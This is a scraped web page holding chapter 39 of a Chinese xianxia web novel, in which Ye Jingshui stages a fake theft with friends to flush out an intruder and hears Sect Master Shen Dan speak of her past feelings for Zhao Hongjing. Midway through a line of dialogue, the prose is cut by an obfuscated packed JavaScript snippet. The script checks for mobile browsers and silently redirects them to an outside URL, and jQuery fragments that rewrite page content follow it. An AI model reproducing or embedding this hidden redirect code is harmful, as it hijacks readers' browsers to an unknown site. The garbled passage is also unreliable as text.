默认冷灰
24号文字
方正启体

39. 第 39 章

作者:千溪雪湖本书字数:K更新时间:
    难道瞒着她,她就不难堪了么?


    毫无预兆收到道侣的绝情书,不明就里被抛下,外界的流言蜚语已然让人难堪至极。


    如果当初的她没有及时醒悟,她如今又会是副什么模样?


    可叶惊水也无法责备他们。无论赵弘景还是孙莠任一春,都只是想护她安好罢了。她又怎能去责备为她着想的人?


    既然她已经得到想要的答案,这件事就到此作罢。


    反正再追究下去又有何意义?只是徒添烦恼。


    “我很感激师姐你们的用心良苦。”


    “你今天整日心神不宁就是为了此事?”


    “还有别的事。”


    “不妨与师姐说道说道,或许师姐能帮上忙。”


    叶惊水清浅一笑:“此事确实需要师姐帮忙。”


    离开莲溪谷,叶惊水又去往各门派弟子居住的偏殿。


    供他们居住的偏殿离恒明峰不远,屋舍按各个门派的人数和习性做了安排。


    元玉宗住在东厢那一边的屋舍。叶惊水来之前向孙莠问过牧淮清和俞梦音的住处,省了在东厢屋舍找来找去的麻烦。


    被萧锦湘打伤的俞梦音还没有完全恢复好身体,牧淮清正在照看她。


    听到叶惊水在屋外敲门,俞梦音高兴地跑去开门。


    见她开心地模样,坐在琴案旁的牧淮清无奈地摇了摇头。


    看到俞梦音生龙活虎一点都不像受伤的样子,叶惊水进屋后忍不住多问了一句:“你的伤都好了?”


    “不是什么严重的伤。服了丹药,休息一天便好得差不多了。师兄就是爱担心,总觉得我还没好,便不许我到处乱跑。”


    牧淮清道:“伤在内里才更需谨慎,免得落了病根。”


    “你坐。”俞梦音把叶惊水拉到一旁将她按坐在凳子上,又翻起桌上的茶杯给她倒茶:“你听师兄这话……我知晓自己的身体。”


    叶惊水说:“我倒是赞同淮清。即便服了丹药,仅凭一天亦不可能好得彻底。你需好好调养,否则对日后的修行有影响。”


    “好嘛,说不过你们。”俞梦音也跟着坐了下来:“你今晚过来是又想听我们的曲子了……还是想找我们一起喝酒?”


    牧淮清也目光炯炯地盯着叶惊水。


    “正事,正事。”叶惊水重复一遍正色道:“我发现有宵小趁演武大会混进了玄眇宗,想请你们帮忙将人找出来。”


    俞梦音担心地问:“如何混进来的?”


    “这点还不得而知。”


    俞梦音看了一眼牧淮清,说:“师兄明日还有比试,不会影响到他吧?”


    叶惊水:“自然不会。只需你们动动嘴而已。”


    俞梦音瞬间被挑起好奇心:“我们要如何帮你?”


    牧淮清插嘴道:“清不做不正之事。”


    “先听我说完。我只需你们如此如此……”


    听完叶惊水的话,俞梦音歪头看向牧淮清:“师兄,你觉得可为么?”


    牧淮清沉默良久才道:“既是朋友请求,又非不正之事,清觉得可为。”


    叶惊水不理解到哪种程度才算是牧淮清口中的“不正之事”。不过只要他们能答应她的请求就行了。


    叶惊水又与他们闲谈片刻,待了一会儿才告辞离开。


    行至东西厢交界的后院,叶惊水看到了元玉宗的掌门莘丹。


    她坐在错落假山间的一张石桌旁,手里反复摩挲着一个物什。蒙着眼纱的脸被阴影遮挡,月光只堪堪映出她素色衣袍上的纹理。


    近距离的打了照面,避无可避,叶惊水礼貌地上前寒暄:“莘掌门。”


    听到叶惊水的声音莘丹并不意外,她微微颔首表示回应。


    “抱歉,不小心扰了你的清静。”


    莘丹的眼睛看不到,故而并没有“看”向叶惊水。她微微侧着头,像在用耳朵听:“无妨,坐下陪我聊聊。”


    元玉宗的掌门要跟她聊聊?叶惊水有些受宠若惊——她跟这位掌门似乎没有熟识到这种地步。


    想归想,叶惊水还是坐了下来。


    坐近才看清莘丹手里握着一块白色流云玉佩。质地被滋养得温润光滑,在昏暗的月光下泛着淡淡的鲜艳色泽。


    叶惊水觉得这玉佩有些眼熟,她的师兄赵弘景身上好像也有过一块。后来似乎是丢失了,一直没能找回来。


    莘丹居然也有同款,真是巧了。


    “莘掌门想聊什么?”


    “……我们自从封印魔神之后就没再见过,你的际遇让人惋惜。”


    “过去的事情早已过去,没什么可惋惜。”


    “你与从前有些不一样了。”


    “我们只是在封印魔神时见过一面,莘掌门似乎对我有所了解?”


    莘丹摩挲着手上的玉佩,缓声道:“你很有名,也总听梦音和淮清提起你。我与你的师兄赵弘景也算是老相识。”


    “师兄很少说起关于他朋友的事情。”


    “……我与他算不上朋友。”


    “那……是仇人?”


    莘丹摇摇头:“我曾倾慕过他。”


    叶惊水没想到自己能在几百年后听到赵弘景的情史。更没想到赵弘景居然和元玉宗的掌门有过这样一段往事。


    话本都写不出这种情节吧?


    “我能体会你的心情。”莘丹侧头“看”向叶惊水:“不追往事很好,你我都该向前看。多珍惜眼前人,莫负真心。”


    叶惊水问:“莘掌门为何与我说这些?”


    “只是睹物思人,有些伤感罢了。恰巧遇到你,想和你聊聊。”


    难道莘丹手里那块玉佩其实是赵弘景的东西?


    可恶。这种如同话本情节一般的发展让她好是在意。可当着本人的面她又不好直接问他们之间发生过什么。


    叶惊水决定忍下好奇心,先办正事。


    “好,我会记下莘掌门的话。”


    ******


    第四日的演武大会还未开始,整个云衡山就已经吵闹起来。


    孙莠急急忙忙赶到客舍厢房想了解发生了何事。


    元玉宗的弟子就已经怒气冲冲地站出来道:“我的法器被人偷走了!不仅如此,我师兄的丝绸伞也不见了!玄眇宗需要给我们一个交代。”


    “这其中是否有误会?”柳开意已经在好言好语地宽慰对方,控制场面:“会不会是放到别处一时忘记了?”


    俞梦音气呼呼地叉起腰,质问柳开意:“你什么意思?随身法器怎么可能放到别处?就是被人偷走了!师兄,你来说是不是?”


    他们四周围满了看热闹的人。皆是被他们的吵闹声吸引过来的各门派弟子。


    牧淮清被俞梦音推了出来,只能跟着点头道:“是。今早起来,法器便不翼而飞。”


    “我们是相信玄眇宗才不设防的。哪承想在你们宗门之内还能遭窃!我们需要玄眇宗给个说法。”


    柳开意软语温言提出合理的怀疑:“可演武大会已经开始


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255933|198004||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    数日,就算要偷又为何会选在这时动手?不如我陪二位四处走走,兴许有意外发现。”


    “你这意思就是说我们在无理取闹,故意栽赃陷害玄眇宗吗?”


    柳开意笑着辩解:“我并无此意……”


    周围开始窃窃私语。


    不知是有人对玄眇宗存有私怨或是单纯想落井下石,也跟着喊道,说自己的随身物品或武器不见了,让玄眇宗出面给个说法。


    孙莠弄清楚其中的前因后果后,站出来安抚众人:“法器丢失确是大事。今日的演武大会延后一日,玄眇宗自会给大家一个交代。”


    听到孙莠的话,俞梦音又说:“玄眇宗是大宗门,我相信玄眇宗会给我们满意的答案。”


    孙莠道:“话虽如此,但法器丢失总该有个因果。劳请丢失法器和物件的诸位随我来,将丢失过程说明清楚。我们也好对症下药,找到线索查出贼人。”


    牧淮清道:“可以。”


    那些起哄说自己也丢失东西的人没办法说明过程,顿时噤声。孙莠便带着真正丢失法器的牧淮清和俞梦音离开了。


    没了热闹可看,众人也回屋舍的回屋舍,去膳堂的去膳堂,三三两两散走。柳开意则留了下来继续安抚众人,担心又会生出别的事端。


    孙莠带着俞梦音和牧淮清两人来到议事的偏殿,满脸歉意地说道:“难为二位愿意听惊水的安排,陪我演戏。”


    俞梦音和牧淮清对视一眼,笑道:“身为她的好友,我们自然赴汤蹈火,在所不辞。”


    牧淮清又道:“清只担心不能将人引出来。”


    “师妹既然能想出这个法子,应是还有后着。”


    “但愿此举真能将宵小之辈揪出来。”


    *****


    祈星双手托腮坐在阁楼的台阶上,望着一会儿在这里收拾一会儿在那里打扫的踏月,深深地叹了一口气。


    “阿姐,你天天待在阁里忙碌,不会厌烦么?就不想回去陪小叶儿?”


    踏月将架子上的两个剑匣摆好,回道:“不会,不想。”


    “你和大哥一样无趣。”


    “大哥已经飞升了。”


    “哼,一人得道,鸡犬升天。大哥还真是愿意跟着那个人。阿姐你不觉得大哥就是死脑筋,太古板?”


    “我们只是剑灵,不管选择了什么样的主人都只能跟随到底。”踏月想了想,又补充道:“中途弑主这种事情只有不成熟的剑灵才做得出来。”


    祈星揪着自己散下来的一缕卷发把玩:“剑灵还分成熟不成熟?哼,反正我们看重的只有剑心剑意,为人如何根本不影响选择。虽然我们与大哥同源而生,但大哥却选择了旁人,我亦尊重他。”


    “你很久没提起大哥了。”


    “老是提一个已经不在这里的家伙有什么意义?还是像这样和阿姐陪在小叶儿身边更实际。阿姐,小叶儿是不是有心事?昨夜见到她似乎没什么精神。”


    “我不知,你问她。”


    “阿姐你真冷淡。”祈星从台阶上跳起身:“等我睡饱觉再去问小叶儿。”


    踏月望向一旁大开的雕花轩窗。


    天光正盛,沿着廊柱照进屋内,一室通明。


    他这大白天的真是懒惰。


    “你有空的话便把楼上的剑架擦一遍。”


    祈星一边往台阶上走一边应道:“好好好。”


    忽然他顿住了脚步,脸往大门外望去,目光随即与踏月相接。


    “有人来了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)